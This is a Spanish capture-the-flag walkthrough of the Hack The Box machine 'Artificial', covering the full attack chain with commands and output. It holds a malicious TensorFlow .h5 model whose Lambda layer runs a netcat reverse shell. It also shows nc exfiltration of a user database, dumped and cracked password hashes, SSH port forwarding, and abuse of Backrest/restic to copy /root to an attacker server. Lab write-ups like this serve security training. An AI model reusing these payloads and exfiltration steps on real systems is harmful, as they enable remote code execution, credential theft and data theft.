1. Escaneo de puertos tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2. Enumeración
Añadimos al /etc/hosts el dominio artificial.htb. En dicha página vemos un recurso en donde nos podemos registrar. Tras registrarnos e iniciar sesión, podemos observar un formulario donde nos dejan subir archivos con el formato .h5. También podemos observar que podemos descargar un archivo requirements, el cual incluye el siguiente contenido:
tensorflow-cpu==2.13.1
Y un archivo dockerfile, con el siguiente contenido
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
Buscando por internet algún exploit que afecte al software tensorflow, observamos el siguiente https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce
3. Explotación
En el se crea un archivo .h5 en un ejecutable .py, con el cual conseguimos ejecutar un RCE. Para elllo nos dan de ejemplo el siguiente ejecutable .py:
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Si probamos a instalar la ultima versión de la librería tensorflow en nuestra maquina, y ejecutar el .py, observamos que al subir el archivo .h5, a la aplicación web, no ocurre nada y que el RCE no se lleva acabo.
Nos damos cuenta, que para que funcione tenemos que compilarlo con la versión 2.13.1 de tensorflow, tal y como se especificaba en el archivo de requirementes. Para ahorrarnos los pasos de instalarlo directamente en nuestra máquina, lo ejecutamos mediante un contenedor docker:
# docker run -it --rm -v "$PWD":/app -w /app tensorflow/tensorflow:2.13.0 python3 exploit.py
Unable to find image 'tensorflow/tensorflow:2.13.0' locally
2.13.0: Pulling from tensorflow/tensorflow
01085d60b3a6: Pull complete
de96f27d9487: Pull complete
0d0dce5452b7: Pull complete
3b190c0764b5: Pull complete
9e55d77b5a31: Pull complete
eb5c0fde2e19: Pull complete
1eb5af93509e: Pull complete
4a60f8dff7fd: Pull complete
85ba1cd0f140: Pull complete
4983425daedd: Pull complete
d10bf76e378a: Pull complete
17f02e3f1db1: Pull complete
Digest: sha256:f133c99eba6e59b921ea7543c81417cd831c9983f5d6ce65dff7adb0ec79d830
Status: Downloaded newer image for tensorflow/tensorflow:2.13.0
2025-06-25 08:27:22.207561: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
sh: 1: nc: not found
/usr/local/lib/python3.8/dist-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(
Podemos observar, que si ahora subimos el nuevo archivo .h5 a la pagina web, y ponemos a escuchar un netcat en nuestra máquina host a través del puerto 6666, somos capaces de establecer una revershell:
# nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.74] 59932
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)
$
4. Movimiento lateral
Una vez dentro, como usuario app, podemos encontrar el siguiente archivo de usuarios:
$ ls
app.py
instance
models
__pycache__
static
templates
$ cd instance
$ ls
users.db
La pasamos a nuestra máquina mediante nc:
En la maquina host:
# nc -lp 1234 > users.db
En la maquina objetivo:
# nc 10.10.14.49 1234 < users.db
Una vez en nuestra máquina lo podemos abrir con sqlite3, y observamos lo siguiente:
sqlite> .tables
model user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|marco|marco@marco.com|9985039da9a041e4e95a6e62e63adf76
7|hacker|hacker@htb.com|482c811da5d5b4bc6d497ffa98491e38
8|test|test@test.com|098f6bcd4621d373cade4e832627b4f6
9|flufy|fluffy@gmail.com|5f4dcc3b5aa765d61d8327deb882cf99
10|parrot|parrot@gmail.com|baf4d84542de49229350d14168931f60
11|flaskdev|flaskdev@example.com|be551ee513d0096809723ef724e6b0ce
12|qwer123|2asd@asd.com|7815696ecbf1c96e6894b779456d330e
13|zeroday|zero@mail.com|6e3578724424fbfa1751f31609b3c304
14|pat|pat@pat.com|7852341745c93238222a65a910d1dcc5
15|q@w.e|q@w.e|60a303e912496b4f1024d40ed20d40af
16|<script>alert('xss')</script>|q@a.z|1de13057bf9b56473f551702ebbc8fb5
17|ciccio|ciccio@gmail.com|e10adc3949ba59abbe56e057f20f883e
18|test2|test2@test.com|d6ca3fd0c3a3b462ff2b83436dda495e
19|prova|prova@gmail.com|189bbbb00c5f1fb7fba9ad9285f193d1
20|admin|124eqsdxc23edsxc1234easd@222|202cb962ac59075b964b07152d234b70
21|sa|sa@sa|202cb962ac59075b964b07152d234b70
22|cat123|cat@vat.htb|56d6106e30d2a478150087acccb6aa63
23|shell0000|test258@test.com|e10adc3949ba59abbe56e057f20f883e
24|suy|suy@gmail.com|03c7c0ace395d80182db07ae2c30f034
25|a|a@gmail.com|0cc175b9c0f1b6a831c399e269772661
26|shirshxk|sirshak99@gmail.com|962a36218a682120bee6374c0eb715a0
27|ewrwr|wr@gmail.com|f3151d23f9c88ea74e0229bcdd321cde
28|kam|kam@gamil.com|d968a18370429ceee4e7fb0268ec50bf
sqlite>
Mediante la misma revershell que ya teníamos con el usuario app, listamos los directorios de home pudiendo comprobar así como existe el usuario gael:
$ ls /home
app
gael
$
Movemos entonces el hash c99175974b6e192936d97224638a34f8
a un archivo llamado "hash", y ejecutamos hashcat para realizar fuerza bruta para un hash md5:
# hashcat -m 0 hash
Pero observamos como no somos capaces de obtener nada. Comprobamos entonces con la herramienta online crackstation, si somos capaces de obtener el hash descifrado. Y observamos como si que somos capaces, obteniendo la siguiente contraseña:
c99175974b6e192936d97224638a34f8 md5 mattp005numbertwo
Por lo que probamos a acceder por ssh mediante los siguientes credenciales gael:mattp005numbertwo
. Somos capaces de acceder y obtener así la flag de usuario
5. Escalado de privilegios
Observamos que existen los siguientes puertos abiertos en la máquina:
-bash-5.0$ ss -lntu
Netid State Local
udp UNCONN 127.0.0.53%lo:53
tcp LISTEN 127.0.0.1:5000
tcp LISTEN 127.0.0.1:9898
tcp LISTEN 0.0.0.0:80
tcp LISTEN 127.0.0.53%lo:53
tcp LISTEN 0.0.0.0:22
tcp LISTEN 0.0.0.0:9919
tcp LISTEN [::]:80
tcp LISTEN [::]:22
Forwardeamos entonces el puerto 9898 (el 5000 comprobamos que no era relevante), mediante el siguiente comando:
# ssh -L 1234:127.0.0.1:9898 gael@artificial.htb
Si accedemos a dicho recurso, observamos un panel de login, de un servicio llamada backrest, del cual no disponemos de credenciales. Buscamos en el sistema de archivos, de la propia máquina, alguna referencia a dicho servicio, y encontramos lo siguiente:
$ find ./ -iname *backrest* 2>/dev/null
./usr/local/bin/backrest
./opt/backrest
./opt/backrest/.config/backrest
./opt/backrest/backrest
./opt/backrest/processlogs/backrest.log
./var/backups/backrest_backup.tar.gz
En dicho directorio (/opt/backrest) existen los siguientes archivos:
bash-5.0$ ls -la
total 51116
drwxr-xr-x 5 root root 4096 Jun 25 09:20 .
drwxr-xr-x 10 root root 4096 Jun 25 05:31 ..
-rwxr-xr-x 1 app ssl-cert 25690264 Feb 16 19:38 backrest
drwxr-xr-x 3 root root 4096 Mar 3 21:27 .config
-rwxr-xr-x 1 app ssl-cert 3025 Mar 3 04:28 install.sh
-rw------- 1 root root 64 Mar 3 21:18 jwt-secret
-rw-r--r-- 1 root root 77824 Jun 25 09:20 oplog.sqlite
-rw------- 1 root root 0 Mar 3 21:18 oplog.sqlite.lock
-rw-r--r-- 1 root root 32768 Jun 25 09:20 oplog.sqlite-shm
-rw-r--r-- 1 root root 0 Jun 25 09:20 oplog.sqlite-wal
drwxr-xr-x 2 root root 4096 Mar 3 21:18 processlogs
-rwxr-xr-x 1 root root 26501272 Mar 3 04:28 restic
drwxr-xr-x 3 root root 4096 Jun 25 09:20 tasklogs
Pero vemos que ninguna nos aporta ninguna información. Miramos entonces el comprimido /var/backups/backrest_backup.tar.gz
. Para ello lo movemos primero a nuestra maquina host. Vemos que se trata de un archivo tar directamente:
# file backrest_backup.tar.gz
backrest_backup.tar.gz: POSIX tar archive (GNU)
Por lo que lo extraemos con el siguiente comando:
# tar -xvf backrest_backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh
Si observamos el archivo backrest/.config/backrest/config.json
observamos:
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
Vemos que se trata de un hash en base64, por lo que si lo decodificamos obtenemos el siguiente hash con formato bcrypt:
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
Lo guardamos en el archivo hashback y ejecutamos hashcat para aplicarle fuerza bruta:
# hashcat -m 3200 hashback /usr/share/wordlists/rockyou.txt --show
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
Entonces las credenciales para acceder al servicio backrest son backrest_root:!@#$%^
. Cuando accedemos, podemos ver un panel de administración, en el que parece que podemos crear backups. Lo primero que tenemos que crear es un repositorio, que viene siendo donde guardaremos nuestra backup.
Lo creamos, y lo llamamos repo1 estableciendo como ruta de guardado el directorio repo1 y una contraseña. A continuación, deberemos crear un plan de backup, en el que configuremos la carpeta objetivo sobre la cual se va a crear el backup. En nuestro caso elegimos la carpeta /root.
Podemos esperar a que la tarea se ejecute sola, o ejecutarla manualmente. Una vez creado el backup, observamos que tenemos la capacidad de ejecutar comandos sobre dicho repositorio, en concreto, solo podemos ejecutar el comando restic.
Si vemos en gtfobins algún exploit, observamos como podemos ser capaces de enviar archivos backup a otro equipo, es decir, realizar una exfiltración de la información. Para ello, en nuestra maquina host instalamos el siguiente paquete:
# apt install restic-rest-server restic
En nuestra maquina host lanzamos el siguiente comando para poner a escuchar nuestro servidor restic:
# restic-rest-server --path /tmp/restic-data --listen :12345 --no-auth
En el panel web de backrest, ejecutamos los siguiente comandos, especificando la IP y puerto de nuestro servidor, así como el repo que queremos enviar:
# -r rest:http://10.10.14.49:12345/repo1 init
# -r rest:http://10.10.14.49:12345/repo1 backup /root
Enseguida vemos, que en nuestro servidor aparece el siguiente mensaje, en el cual nos informa que el backup fue creado en la ruta /tmp/restic-data/repo1
:
# restic-rest-server --path /tmp/restic-data --listen :12345 --no-auth
Data directory: /tmp/restic-data
Authentication disabled
Private repositories disabled
start server on [::]:12345
Creating repository directories in /tmp/restic-data/repo1
Para abrirlo y poder extraer los archivos, hacemos uso nuevamente de la herramienta restic y ejecutamos lo siguiente
# restic -r /tmp/restic-data/repo1 snapshots
enter password for repository:
repository e7c22241 opened (version 2, compression level auto)
created new cache in /root/.cache/restic
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
93447518 2025-06-25 09:33:50 artificial /root 4.299 MiB
-----------------------------------------------------------------------
1 snapshots
Y finalmente hacemos el restore con el siguiente comando:
# restic -r /tmp/restic-data/repo1 restore 93447518 --target ./restore
enter password for repository:
repository e7c22241 opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot 93447518 of [/root] at 2025-06-25 13:33:50.906761304 +0000 UTC by root@artificial to ./restore
Summary: Restored 80 files/dirs (4.299 MiB) in 0:00
Vemos como dentro del repositorio de backup se nos crea una carpeta llamada restore, en la que su interior encontramos todos el directorio de root:
# (root㉿kali)-[/tmp/restic-data/repo1]
└─# cat restore/root/root.txt
Pudiendo así obtener la flag del usuario root.